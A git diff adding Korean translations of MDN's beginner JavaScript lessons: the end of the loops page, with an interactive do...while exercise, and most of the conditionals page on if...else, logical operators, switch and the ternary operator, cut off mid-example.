+<p>실수를 한 경우 "재설정"버튼을 사용하여 예제를 언제든지 재설정 할 수 있다. 정말 힘들다면 "solution보기"를 눌러 풀이를 확인할수 있다.</p>
+
+<div class="hidden">
+<h6 id="Active_learning_2">Active learning 2</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+&lt;div class="output" style="height: 100px;overflow: auto;"&gt;
+  &lt;p class="admitted"&gt;Admit: &lt;/p&gt;
+  &lt;p class="refused"&gt;Refuse: &lt;/p&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+&lt;textarea id="code" class="playable-code" style="height: 400px;width: 95%"&gt;
+const people = ['Chris', 'Anne', 'Colin', 'Terri', 'Phil', 'Lola', 'Sam', 'Kay', 'Bruce'];
+
+const admitted = document.querySelector('.admitted');
+const refused = document.querySelector('.refused');
+admitted.textContent = 'Admit: ';
+refused.textContent = 'Refuse: '
+
+// let i = 0;
+
+// refused.textContent += ;
+// admitted.textContent += ;
+
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+
+
+
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+
+
+
+
+
+
+
+
+<pre class="brush: js notranslate">const textarea = document.getElementById('code');
+const reset = document.getElementById('reset');
+const solution = document.getElementById('solution');
+let code = textarea.value;
+let userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+let jsSolution = 'const people = [\'Chris\', \'Anne\', \'Colin\', \'Terri\', \'Phil\', \'Lola\', \'Sam\', \'Kay\', \'Bruce\'];\n\nconst admitted = document.querySelector(\'.admitted\');\nconst refused = document.querySelector(\'.refused\');\n\nadmitted.textContent = \'Admit: \';\nrefused.textContent = \'Refuse: \'\nlet i = 0;\n\ndo {\n if(people[i] === \'Phil\' || people[i] === \'Lola\') {\n refused.textContent += people[i] + \', \';\n } else {\n admitted.textContent += people[i] + \', \';\n }\n i++;\n} while(i &lt; people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + \'.\';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + \'.\';';
+let solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  let scrollPos = textarea.scrollTop;
+  let caretPos = textarea.selectionStart;
+
+  let front = (textarea.value).substring(0, caretPos);
+  let back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+
+
+
+
+</div>
+
+<p>{{ EmbedLiveSample('Active_learning_2', '100%', 680, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="어떤_loop종류를_사용하나">어떤 loop종류를 사용하나?</h2>
+
+<p>기본적으로 <code>for</code>, <code>while</code>, 그리고 <code>do...while</code> loops 는 상호 교환이 가능하다. 그들은 모두 동일한 문제를 해결하는 데 사용할수 있으며, 사용하는 것은 주로 개인의 취향에 달려 있다. 가장 기억하기 쉽거나 가장 직관적인 방법을 찾아라. 다시 한번 살펴보자.</p>
+
+<p>First <code>for</code>:</p>
+
+<pre class="notranslate">for (initializer; exit-condition; final-expression) {
+  // code to run
+}</pre>
+
+<p><code>while</code>:</p>
+
+<pre class="notranslate">initializer
+while (exit-condition) {
+  // code to run
+
+  final-expression
+}</pre>
+
+<p>and finally <code>do...while</code>:</p>
+
+<pre class="notranslate">initializer
+do {
+  // code to run
+
+  final-expression
+} while (exit-condition)</pre>
+
+<p><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">우리는 적어도 </span></font><code>for</code>를 <font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">처음에는 모든 것중에 기억하는 것이 가장 쉽기 때문에 추천한다. </span></font>— initializer, exit 조건 및 최종 표현식은 모두 괄호 안에 깔끔하게 들어가야 하므로 어디에 있는지 쉽게 알 수 있다. 너가 그것들을 놓치지 않게 잘 점검해보자.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 고급 / 특수한 상황에서 나아가 다른 loop 유형 / 기능도 있다. loop 학습으로 더 자세히 알고 싶다면 <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Loops and iteration guide</a> 를 읽어보자.</p>
+</div>
+
+<h2 id="결론">결론</h2>
+
+<p>이 설명에서는 기본 개념과 JavaScript에서 반복되느 코드를 사용할 수 있는 여러 가지 옵션에 대해 설명했다. 이제 loop가 반복적 인 코드를 처리하는 좋은 메커니즘 인 이유를 명확히 파악하고 자신의 예제에서 사용하도록 노력해야한다!</p>
+
+<p>만약 이해가 되지 않는 내용이 있으면 다시 내용을 읽어보거나 <a href="/en-US/Learn#Contact_us">contact us</a> 를 통해 도움을 요청하자.</p>
+
+<h2 id="또한_볼것">또한 볼것</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Loops and iteration in detail</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for statement reference</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a> references</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/break">break</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Statements/continue">continue</a> references</li>
+ <li>
+  <p class="entry-title"><a href="https://www.impressivewebs.com/javascript-for-loop/">What’s the Best Way to Write a JavaScript For Loop?</a> — some advanced loop best practices</p>
+ </li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Function return values</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/building_blocks/조건문/index.html b/files/ko/learn/javascript/building_blocks/조건문/index.html
new file mode 100644
index 0000000000..858d6f9116
--- /dev/null
+++ b/files/ko/learn/javascript/building_blocks/조건문/index.html
@@ -0,0 +1,770 @@
+---
+title: Making decisions in your code — 조건문
+slug: Learn/JavaScript/Building_blocks/조건문
+translation_of: Learn/JavaScript/Building_blocks/conditionals
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/JavaScript/Building_blocks/Looping_code", "Learn/JavaScript/Building_blocks")}}</div>
+
+<p class="summary">어떤 프로그래밍 언어든 코드는 의사 결정을 내리고 입력 내용에 따라 작업을 수행해야합니다. 예를 들어 게임에서 플레이어의 생명 수치가 0이면 게임이 종료됩니다. 날씨 앱에서는 아침에 해가 뜬 그림을 보여주고 밤에는 달과 별을 보여줍니다. 이 문서에서는 JavaScript에서 조건문이 작동하는 방법을 살펴 보겠습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선행 조건:</th>
+   <td>
+    <p>기본적인 컴퓨터 활용 능력, HTML, CSS, <a href="/ko/docs/Learn/JavaScript/First_steps">Javascript 첫 걸음</a></p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>
+    <p>자바스크립트에서 조건문의 사용법을 이해합니다.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="당신은_하나의_조건을_가질_수_있습니다.">당신은 하나의 조건을 가질 수 있습니다.</h2>
+
+<p>사람(과 동물)은 작은 것(과자를 하나 먹을까? 두개 먹을까?)부터 큰 것(고향에 머물면서 아버지의 농장에서 일해야 할까? 아니면 천체물리학을 공부하러 미국으로 유학을 갈까?)까지 자신의 경험을 바탕으로 결정합니다.</p>
+
+<p>조건문은 결정해야 하는 선택(예를 들면, "과자 하나? 두 개?)부터 선택의 결과(과자를 하나 먹으면 여전히 배고플 수 있고, 두 개를 먹으면 배는 부르지만, 엄마한테 과자를 다 먹었다고 혼날 수 있다)까지 자바스크립트에서 의사 결정을 내릴 수 있습니다. </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13703/cookie-choice-small.png" style="display: block; margin: 0 auto;"></p>
+
+<h2 id="if_..._else_문">if ... else 문</h2>
+
+<p>자바스크립트에서 사용하는 조건문 중에서 가장 일반적인 유형을 봅시다. — the humble <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if ... else</a></code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"> statement</a>.</p>
+
+<h3 id="if_..._else_문법">if ... else 문법</h3>
+
+<p><code>if...else</code> 문법은 {{glossary("pseudocode")}} 다음과 같습니다:</p>
+
+<pre class="notranslate">if (condition) {
+  code to run if condition is true
+} else {
+  run some other code instead
+}</pre>
+
+<p>Here we've got:</p>
+
+<ol>
+ <li>키워드 <code>if</code> 뒤에 괄호가 옵니다.</li>
+ <li>시험할 조건은 괄호 안에 위치합니다. (전형적으로 "이 값이 다른 값보다 큰지", "이 값이 존재하는지") 이 조건은 마지막 모듈에서 논의했던 비교연산자(<a href="/en-US/Learn/JavaScript/First_steps/Math#Comparison_operators">comparison operators</a>)를 사용할 것이고 <code>true</code> 나  <code>false</code>를 리턴합니다.</li>
+ <li>내부의 중괄호 안에 코드가 있습니다. — 이것은 우리가 좋아하는 코드일 수 있고, 조건이 <code>true</code>를 반환하는 경우에만 실행됩니다.</li>
+ <li>키워드 <code>else</code>.</li>
+ <li>또 다른 중괄호 안에 더 많은 코드가 있습니다. — 이것은 우리가 좋아하는 코드 일 수 있고, 조건이 <code>true</code>가 아닌 경우에만 실행됩니다.</li>
+</ol>
+
+<p>이 코드는 사람이 읽을 수 있습니다. — "만약 조건이 <code>true</code>면, 코드 A를 실행하고, 아니면 코드 B를 실행한다." 라고 말합니다.</p>
+
+<p>반드시 <code>else</code>와 두 번째 중괄호를 포함하지 않아도 된다는 것을 주목해야 합니다. — 다음은 또한 완벽한 코드입니다.:</p>
+
+<pre class="notranslate">if (condition) {
+  code to run if condition is true
+}
+
+run some other code</pre>
+
+<p>하지만, 여기서 조심 해야 할 점— 위의 경우, 코드의 두 번째 블록은 조건문에 의해서 제어되지 않습니다. 그래서 조건이 <code>true</code>나 <code>false</code>를 리턴하는 것에 관계없이 항상 동작합니다. 이것이 반드시 나쁜 것은 아니지만, 원하는 대로 되지 않을 수도 있습니다. — 코드의 한 블록이나 다른 블록이 실행되거나 둘 다 실행되지 않는 것을 원할 것입니다.</p>
+
+<p>마지막으로, 다음과 같이 짧은 스타일로 중괄호 없이 쓰여진 <code>if...else</code>를  볼 수 있었을 것입니다.:</p>
+
+<pre class="notranslate">if (condition) code to run if condition is true
+else run some other code instead</pre>
+
+<p>이것은 완벽하게 유효한 코드이지만, 사용하는 것을 추천하지 않습니다. — 중괄호를 사용하여 코드를 구분하고, 여러 줄과 들여쓰기를 사용한다면, 코드를 쉽게 읽고, 진행되는 작업을 훨씬 쉽게 처리할 수 있습니다.</p>
+
+<h3 id="실제_예시">실제 예시</h3>
+
+<p>문법을 잘 이해하기 위해서 실제 예시를 알아봅시다. 어머니나 아버지가 아이에게 집안일을 도와달라고 요청한다고 상상해 봅시다. 부모님께서 "우리 애기, 만약에 쇼핑 하고 가는 걸 도와주면, 용돈을 더 줄게! 그럼 네가 원하는 걸 살 수 있을거야"라고 말씀 하신다면, 자바스크립트에서 이것을 다음과 같이 표현할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var shoppingDone = false;
+
+if (shoppingDone === true) {
+  var childsAllowance = 10;
+} else {
+  var childsAllowance = 5;
+}</pre>
+
+<p>위 코드에는 항상 <code>false</code>를 리턴하는 <code>shoppingDone</code>변수를 결과로 얻을 것입니다. 아이에게 실망을 안겨주겠죠. 아이가 부모님과 함께 쇼핑을 간다면 우리가 부모님을 위해 <code>shoppingDone</code>변수를 <code>true</code>로 설정하는 메커니즘을 만들 수 있겠죠.</p>
+
+<div class="note">
+<p><strong>Note</strong>: GitHub에서 예시를 더 볼 수 있습니다.  <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/allowance-updater.html">complete version of this example on GitHub</a> (also see it <a href="http://mdn.github.io/learning-area/javascript/building-blocks/allowance-updater.html">running live</a>.)</p>
+</div>
+
+<h3 id="else_if">else if</h3>
+
+<p>지난 예시에서는  두 가지 선택과 결과가 있었죠. — 하지만 우리가 두 가지보다 더 많은 선택과 결과를 원한다면?</p>
+
+<p>추가로 선택/결과를 <code>if...else</code>에 연결하는 방법이 있습니다. — <code>else if</code>를 사용하여. 각 추가 선택은 <code>if() { ... }</code>와 <code>else { ... }</code>사이에 추가적인 블록이 필요합니다. 간단한 날씨 예보 어플리케이션의 일부가 될 수 있는 다음의 예시를 확인하세요. </p>
+
+<pre class="brush: html notranslate">&lt;label for="weather"&gt;Select the weather type today: &lt;/label&gt;
+&lt;select id="weather"&gt;
+  &lt;option value=""&gt;--Make a choice--&lt;/option&gt;
+  &lt;option value="sunny"&gt;Sunny&lt;/option&gt;
+  &lt;option value="rainy"&gt;Rainy&lt;/option&gt;
+  &lt;option value="snowing"&gt;Snowing&lt;/option&gt;
+  &lt;option value="overcast"&gt;Overcast&lt;/option&gt;
+&lt;/select&gt;
+
+&lt;p&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: js notranslate">var select = document.querySelector('select');
+var para = document.querySelector('p');
+
+select.addEventListener('change', setWeather);
+
+function setWeather() {
+  var choice = select.value;
+
+  if (choice === 'sunny') {
+    para.textContent = 'It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.';
+  } else if (choice === 'rainy') {
+    para.textContent = 'Rain is falling outside; take a rain coat and a brolly, and don\'t stay out for too long.';
+  } else if (choice === 'snowing') {
+    para.textContent = 'The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.';
+  } else if (choice === 'overcast') {
+    para.textContent = 'It isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.';
+  } else {
+    para.textContent = '';
+  }
+}
+
+</pre>
+
+<p>{{ EmbedLiveSample('else_if', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<ol>
+ <li>여기서 우리는 HTML {{htmlelement("select")}} 엘리먼트를 사용하여 다른 날씨 선택과 간단한 문단을 만들 수 있습니다. </li>
+ <li>자바스크립트에서 {{htmlelement("select")}} 와 {{htmlelement("p")}} 엘리먼트를 모두 저장하고 있고,  <code>&lt;select&gt;</code> 엘리먼트에 이벤트 리스너를 추가하고, 값이 변할 때 <code>setWeather()</code>함수가 동작합니다.</li>
+ <li>함수가 동작했을 때, 현재 <code>&lt;select&gt;</code> 에서 선택된 값을 <code>choice</code>라는 변수에 설정합니다. 그런 다음 조건문을 사용하여 <code>choice</code>값에 따라 문단 안에 다른 텍스트를 표시합니다. <code>if() {...} block</code>에서 테스트된 첫 번째를 제외하고, <code>else if() {...}</code>에서 조건은 테스트되는 방법에 유의하세요.</li>
+ <li><code>else {...}</code>안의 가장 마지막 선택은 기본적으로 "최후의 수단" 옵션입니다. — <code>true</code>인 조건이 없으면 코드가 실행됩니다. 이 경우 아무것도 선택되지 않으면 예를 들어, 사용자가 처음에 표시한 "Make a choice" placeholder 옵션에서 다시 선택하기로 한다면, 문단의 텍스트를 비우는 역할을 합니다.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: You can also <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-else-if.html">find this example on GitHub</a> (<a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-else-if.html">see it running live</a> on there also.)</p>
+</div>
+
+<h3 id="비교_연산자">비교 연산자</h3>
+
+<p>비교 연산자는 우리의 조건문 안에 조건을 테스트하는데 사용된다. 우리는 먼저 <a href="/en-US/Learn/JavaScript/First_steps/Math#Comparison_operators">Basic math in JavaScript — numbers and operators</a> 에서 비교 연산자를 봤습니다. </p>
+
+<ul>
+ <li><code>===</code>와 <code>!==</code> — 한 값이 다른 값과 같거나 다른지 테스트 한다.</li>
+ <li><code>&lt;</code> 와 <code>&gt;</code> — 한 값이 다른 값보다 작은지 큰지 테스트 한다.</li>
+ <li><code>&lt;=</code> 와 <code>&gt;=</code> — 한 값이 다른 값보다 작거나 같은지, 크거나 같은지 테스트 한다</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Review the material at the previous link if you want to refresh your memories on these.</p>
+</div>
+
+<p>boolean(<code>true</code>/<code>false</code>)값과 몇 번이고 다시 만날 일반적인 패턴을 테스트하는 것의 특별한 언급을 하고 싶었습니다.. <code>false</code>, <code>undefined</code>, <code>null</code>, <code>0</code>, <code>NaN</code>이나 빈 문자열(<code>''</code>)이 아닌 어떤 값은 조건문이 테스트 되었을 때, <code>true</code>를 리턴합니다.. 그러므로 우리는 변수가 참인지 값이 존재하는지 간단하게 변수 이름을 사용할 수 있습니다.. 예를 들어,</p>
+
+<pre class="brush: js notranslate">var cheese = 'Cheddar';
+
+if (cheese) {
+  console.log('Yay! Cheese available for making cheese on toast.');
+} else {
+  console.log('No cheese on toast for you today.');
+}</pre>
+
+<p>그리고 부모님을 위해 집안일을 하는 아이에 대한 이전 예시에서 리턴하는 것을 다음과 같이 작성할 수 있었습니다.</p>
+
+<pre class="brush: js notranslate">var shoppingDone = false;
+
+if (shoppingDone) { // don't need to explicitly specify '=== true'
+  var childsAllowance = 10;
+} else {
+  var childsAllowance = 5;
+}</pre>
+
+<h3 id="if_..._else_중첩">if ... else 중첩</h3>
+
+<p><code>if...else</code>문을 다른 문 앞에 넣는 것(중첩하여)은 완벽하게 가능합니다.. 예를 들어, 온도가 무엇인지에 따라 더 많은 선택의 옵션을 보여주기위해 우리의 날씨 예보 어플리케이션에서 업데이트 할 수 있습니다..</p>
+
+<pre class="brush: js notranslate">if (choice === 'sunny') {
+  if (temperature &lt; 86) {
+    para.textContent = 'It is ' + temperature + ' degrees outside — nice and sunny. Let\'s go out to the beach, or the park, and get an ice cream.';
+  } else if (temperature &gt;= 86) {
+    para.textContent = 'It is ' + temperature + ' degrees outside — REALLY HOT! If you want to go outside, make sure to put some suncream on.';
+  }
+}</pre>
+
+<p>비록 코드가 모두 동작하더라도, 각 <code>if...else</code>문은 다른 문과 완전히 독립적으로 동작합니다..</p>
+
+<h3 id="논리_연산자_AND_OR_and_NOT">논리 연산자: AND, OR and NOT</h3>
+
+<p>만약 중첩된 <code>if...else</code>문을 작성하는 것 없이 다양한 조건을 테스트하길 원한다면 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators">logical operators</a> 이 당신을 도와줄 수 있습니다. 조건 내에서 사용될 때, 처음 두 가지는 다음과 같이 합니다.</p>
+
+<ul>
+ <li><code>&amp;&amp;</code> — AND; <code>true</code>를 리턴하는 전체 표현식을 위해 각각 <code>true</code>계산되는 둘 이상의 표현식을 함께 연결할 수 있습니다.</li>
+ <li><code>||</code> — OR; <code>true</code>를 리턴하는 전체 표현식을 위해 하나 이상이 <code>true</code>로 계산되는 둘 이상의 표현식을 함께 연결할 수 있습니다.</li>
+</ul>
+
+<p>AND 예시를 위해서 앞의 예제 코드 중에서 다음과 같이 작성할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">if (choice === 'sunny' &amp;&amp; temperature &lt; 86) {
+  para.textContent = 'It is ' + temperature + ' degrees outside — nice and sunny. Let\'s go out to the beach, or the park, and get an ice cream.';
+} else if (choice === 'sunny' &amp;&amp; temperature &gt;= 86) {
+  para.textContent = 'It is ' + temperature + ' degrees outside — REALLY HOT! If you want to go outside, make sure to put some suncream on.';
+}</pre>
+
+<p>위 예시에서, 첫 번째 코드 블록은 <code>choice === 'sunny'</code>와 <code>temperature &lt; 86</code>가 <code>true</code>를 리턴한다면 실행될 것입니다.</p>
+
+<p>빠르게 OR 예시를 봅시다.</p>
+
+<pre class="brush: js notranslate">if (iceCreamVanOutside || houseStatus === 'on fire') {
+  console.log('You should leave the house quickly.');
+} else {
+  console.log('Probably should just stay in then.');
+}</pre>
+
+<p>논리 연산자의 마지막 유형인 <code>!</code> 연산자로 표현되는 NOT은 표현식을 무효화할 수 있습니다. 위 OR 예시와 함께 봅시다.</p>
+
+<pre class="brush: js notranslate">if (!(iceCreamVanOutside || houseStatus === 'on fire')) {
+  console.log('Probably should just stay in then.');
+} else {
+  console.log('You should leave the house quickly.');
+}</pre>
+
+<p>위 예시에서, OR 문이 <code>true</code>를 리턴한다면, NOT 연산자는 전체 표현식이 <code>false</code>를 리턴하도록 무효화할 것입니다.</p>
+
+<p>어떤 구조든지 당신이 원하는 만큼 많은 논리 문을 결합할 수 있습니다. 다음 예시는 두 가지 OR 문 모두 true를 리턴하면, 전체 AND문은 true를 리턴한다는 것을 의미하는 코드를 실행합니다.</p>
+
+<pre class="brush: js notranslate">if ((x === 5 || y &gt; 3 || z &lt;= 10) &amp;&amp; (loggedIn || userName === 'Steve')) {
+  // run the code
+}</pre>
+
+<p>조건 문에서 논리적 OR 연산자를 사용할 때 일반적인 실수는 값을 한번 체크하는 변수를 명시한 다음, <code>||</code> (OR) 연산로 분리하여 true를 리턴될 수 있는 변수의 리스트를 사용한다는 것입니다. 예를 들어: </p>
+
+<pre class="example-bad brush: js notranslate">if (x === 5 || 7 || 10 || 20) {
+  // run my code
+}</pre>
+
+<p>이 경우에 <code>if(...)</code> 내부 조건은 7(또는 다른 0이 아닌 값)이 항상 true가 되므로, 항상 true를 계산할 것입니다. 조건은 "x가 5와 같거나 7이 true면, 항상 그렇다"라고 분명하게 말하고 있습니다. 이것은 논리적으로 우리가 원하는 것이 아닙니다! 이를 동작하게 하기 위해 우리는 각 OR 연산자를 완전하게 명시해야 합니다.</p>
+
+<pre class="brush: js notranslate">if (x === 5 || x === 7 || x === 10 ||x === 20) {
+  // run my code
+}</pre>
+
+<h2 id="switch_문">switch 문</h2>
+
+<p><code>if...else</code> 문은 조건문 코드가 잘 동작되는 일을 하지만, 단점이 없지 않습니다. 그 문은 두 가지 선택을 가지고 있는 경우에 주로 유용합니다. 그리고 각각은 실행되기 위한 합리적인 양의 코드가 필요하고, AND/OR 조건은 복잡합니다.(e.g. 다수의 논리 연산자) 어떤 값의 선택으로 변수를 설정하거나 조건에 따라서 특정 문을 출력하는 경우 구문이 약간 번거로울 수 있습니다. 특히 많은 선택 항목이 있는 경우에 특히 그렇습니다.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/switch"><code>switch</code> statements</a> 은 당신의 친구입니다. 이는 입력으로 하나의 표현식/값을 받고, 값과 일치하는 하나를 찾을 때까지 여러 항목을 살펴보고 그에 맞는 코드를 실행합니다. 여기 몇몇 많은 수도코드가 있습니다.</p>
+
+<pre class="notranslate">switch (expression) {
+  case choice1:
+    run this code
+    break;
+
+  case choice2:
+    run this code instead
+    break;
+
+  // include as many cases as you like
+
+  default:
+    actually, just run this code
+}</pre>
+
+<p>여기에서: </p>
+
+<ol>
+ <li>뒤에 괄호가 오는 키워드 <code>switch</code>.</li>
+ <li>괄오 내부에는 표현식이나 값을 입력합니다.</li>
+ <li>표현식이나 값이 될 수 있는 선택이 따라 오는 키워드 <code>case</code>는 콜론이 뒤에 옵니다.</li>
+ <li><code>break</code>문은 뒤에 세미콜론이 옵니다. 이전의 선택이 표현식이나 값과 일치한다면 해당 코드 블록에서 실행을 멉추고, switch 문 아래에 있는 어떤 코드로 이동합니다.</li>
+ <li>원하는 많은 다른 케이스를 입력할 수 있습니다. </li>
+ <li>키워드 <code>default</code>는 case들과 같은 코드를 입력하고, 일치하는 항목이 없으면 실행되는 기본 옵션입니다. case와 일치하지 않고, 예외가 필요하지 않는 경우 제외할 수 있습니다.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: default를 반드시 포함하지 않고 생략가능합니다. 다만 필요하다면 미지의 경우를 처리하기 위해 포함해야 합니다.</p>
+</div>
+
+<h3 id="A_switch_example">A switch example</h3>
+
+<p>실전 예제를 해봅시다.switch문을 활용해 일기예보 애플리케이션을 작성하세요.</p>
+
+<pre class="brush: html notranslate">&lt;label for="weather"&gt;Select the weather type today: &lt;/label&gt;
+&lt;select id="weather"&gt;
+  &lt;option value=""&gt;--Make a choice--&lt;/option&gt;
+  &lt;option value="sunny"&gt;Sunny&lt;/option&gt;
+  &lt;option value="rainy"&gt;Rainy&lt;/option&gt;
+  &lt;option value="snowing"&gt;Snowing&lt;/option&gt;
+  &lt;option value="overcast"&gt;Overcast&lt;/option&gt;
+&lt;/select&gt;
+
+&lt;p&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: js notranslate">var select = document.querySelector('select');
+var para = document.querySelector('p');
+
+select.addEventListener('change', setWeather);
+
+
+function setWeather() {
+  var choice = select.value;
+
+  switch (choice) {
+    case 'sunny':
+      para.textContent = 'It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.';
+      break;
+    case 'rainy':
+      para.textContent = 'Rain is falling outside; take a rain coat and a brolly, and don\'t stay out for too long.';
+      break;
+    case 'snowing':
+      para.textContent = 'The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.';
+      break;
+    case 'overcast':
+      para.textContent = 'It isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.';
+      break;
+    default:
+      para.textContent = '';
+  }
+}</pre>
+
+<p>{{ EmbedLiveSample('A_switch_example', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can also <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-switch.html">find this example on GitHub</a> (see it <a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-switch.html">running live</a> on there also.)</p>
+</div>
+
+<h2 id="삼항연산자">삼항연산자 </h2>
+
+<p>다른 예제로 들어가기 전에 소개하고 싶은 마지막 구문이 있다.삼항(조건)연산자( <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">ternary or conditional operator</a>)는 조건이 참이면 한 값/표현식을 반환하고 조건이 거짓이면 다른  값/표현식을 반환하는 구문이다.— 이것은 어떤 상황에 유용할 수 있으며, 참/거짓 조건을 간단히 선택할 수 있는 상황이라면 <code>if...else</code> 블록문보다 코드를 훨씬 적게 사용할수 있다. 이 pseudocode는 아래와 같다:</p>
+
+<pre class="notranslate">( condition ) ? run this code : run this code instead</pre>
+
+<p>그러면 간단한 예를 보자:</p>
+
+<pre class="brush: js notranslate">var greeting = ( isBirthday ) ? 'Happy birthday Mrs. Smith — we hope you have a great day!' : 'Good morning Mrs. Smith.';</pre>
+
+<p><code>isBirthday</code> 라는 변수명이 여기 있다— 게스트가 생일이면 '해피버스데이' 메세지를 보내고, 생일이 아니라면  일반적인 '인사' 메세지를 보내는 경우에 해당된다..</p>
+
+<h3 id="삼항_연산자_예제">삼항 연산자 예제</h3>
+
+<p>삼항연산자로 변수값을 정할 필요가 없다; 단지  좋아하는 함수나 코드를 사용하면 된다. — . 이 예제는 삼항연산자를 사용하여 사이트의 스타일링 테마를 선택할  수 있는 것을 보여준다</p>
+
+<pre class="brush: html notranslate">&lt;label for="theme"&gt;Select theme: &lt;/label&gt;
+&lt;select id="theme"&gt;
+  &lt;option value="white"&gt;White&lt;/option&gt;
+  &lt;option value="black"&gt;Black&lt;/option&gt;
+&lt;/select&gt;
+
+&lt;h1&gt;This is my website&lt;/h1&gt;</pre>
+
+<pre class="brush: js notranslate">var select = document.querySelector('select');
+var html = document.querySelector('html');
+document.body.style.padding = '10px';
+
+function update(bgColor, textColor) {
+  html.style.backgroundColor = bgColor;
